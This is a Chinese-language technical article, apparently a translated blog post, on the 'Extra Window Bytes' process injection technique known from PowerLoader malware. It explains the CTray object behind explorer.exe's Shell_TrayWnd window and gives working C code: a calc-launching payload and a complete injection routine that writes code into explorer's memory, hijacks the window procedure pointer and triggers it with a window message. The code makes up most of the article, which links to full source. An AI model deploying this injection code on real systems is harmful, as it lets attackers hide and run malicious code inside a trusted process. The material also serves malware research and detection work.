导语:介绍 Extra Window Bytes,额外的窗口字节,这种注入方法因在2013年左右出现的Powerloader恶意软件中使用而闻名。没有人确切知道它何时首次用于进程注入,因为自80年代末90年代初以来,被特性已成为Windows操作系统的一部分。Extra Windo
介绍
Extra Window Bytes,额外的窗口字节,这种注入方法因在2013年左右出现的Powerloader恶意软件中使用而闻名。没有人确切知道它何时首次用于进程注入,因为自80年代末90年代初以来,被特性已成为Windows操作系统的一部分。Extra Window Bytes的索引零可用于将类对象与窗口相关联。使用SetWindowLongPtr将指向类对象的指针存储在索引零处,并且可以使用GetWindowLongPtr检索一个指针。第一次提到使用“Shell_TrayWnd”作为注射载体可以追溯到WASM论坛上一个名为“Indy(Clerk)”的用户的帖子,在2009年左右有一些关于它的讨论。
图1显示了“Shell_TrayWnd”类的信息,你可以在其中看到Window Bytes的索引零值已设置。

图1:Shell_TrayWnd的Window Spy ++信息
Windows Spy ++在此处未显示完整的64位值,但如图2所示,它显示了GetWindowLongPtr API为同一窗口返回的值。

图2:CTray对象的完整地址
CTray类
此类中只有三种方法,没有属性。每个方法的指针都是只读的,因此我们不能简单地用指向有效载荷的指针覆盖指向WndProc的指针。我们可以手动构造对象,但我认为更好的方法是将现有对象复制到本地内存,覆盖WndProc并将对象写入资源管理器内存中的新位置。以下结构用于定义对象和指针。
// CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
ULONG_PTR vTable; // change to remote memory address
ULONG_PTR AddRef;
ULONG_PTR Release;
ULONG_PTR WndProc; // window procedure (change to payload)
} CTray;
上述结构包含在32位和64位系统上替换CTray对象所需的所有内容。ULONG_PTR的大小在32位系统上是4字节,在64位上是8字节。
有效载荷
这与PROPagate使用的代码之间的主要区别在于函数原型。如果我们在返回调用者时没有释放相同数量的参数,则会冒着崩溃Windows资源管理器或具有与之关联的任何窗口的风险。
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg,
WPARAM wParam, LPARAM lParam)
{
// ignore messages other than WM_CLOSE
if (uMsg != WM_CLOSE) return 0;
WinExec_t pWinExec;
DWORD szWinExec[2],
szCalc[2];
// WinExec
szWinExec[0]=0x456E6957;
szWinExec[1]=0x00636578;
// calc
szCalc[0] = 0x636C6163;
szCalc[1] = 0;
pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
if(pWinExec != NULL) {
pWinExec((LPSTR)szCalc, SW_SHOW);
}
return 0;
}
功能齐全
这是在提供位置无关代码(Position Independent Code,PIC)时执行注入的功能。与所有这些示例一样,我省略了错误检查以帮助逐步显示流程。
LPVOID ewm(LPVOID payload, DWORD payloadSize){
LPVOID cs, ds;
CTray ct;
ULONG_PTR ctp;
HWND hw;
HANDLE hp;
DWORD pid;
SIZE_T wr;
// 1. Obtain a handle for the shell tray window
hw = FindWindow("Shell_TrayWnd", NULL);
// 2. Obtain a process id for explorer.exe
GetWindowThreadProcessId(hw, &pid);
// 3. Open explorer.exe
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 4. Obtain pointer to the current CTray object
ctp = GetWindowLongPtr(hw, 0);
// 5. Read address of the current CTray object
ReadProcessMemory(hp, (LPVOID)ctp,
(LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
// 6. Read three addresses from the virtual table
ReadProcessMemory(hp, (LPVOID)ct.vTable,
(LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
// 7. Allocate RWX memory for code
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 8. Copy the code to target process
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 9. Allocate RW memory for the new CTray object
ds = VirtualAllocEx(hp, NULL, sizeof(ct),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 10. Write the new CTray object to remote memory
ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
ct.WndProc = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);
// 11. Set the new pointer to CTray object
SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
// 12. Trigger the payload via a windows message
PostMessage(hw, WM_CLOSE, 0, 0);
// 13. Restore the original CTray object
SetWindowLongPtr(hw, 0, ctp);
// 14. Release memory and close handles
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
总结
虽然类似于窗口对象的注入方法通常属于“粉碎”攻击的范畴,但是随着Windows Vista的发布引入了用户界面特权隔离(User Interface Privilege Isolation,UIPI),这种注入方法在Windows 10的最新版本中仍然工作良好。
你可以使用执行计算器的有效载荷查看源代码:https://github.com/odzhan/injection/tree/master/extrabytes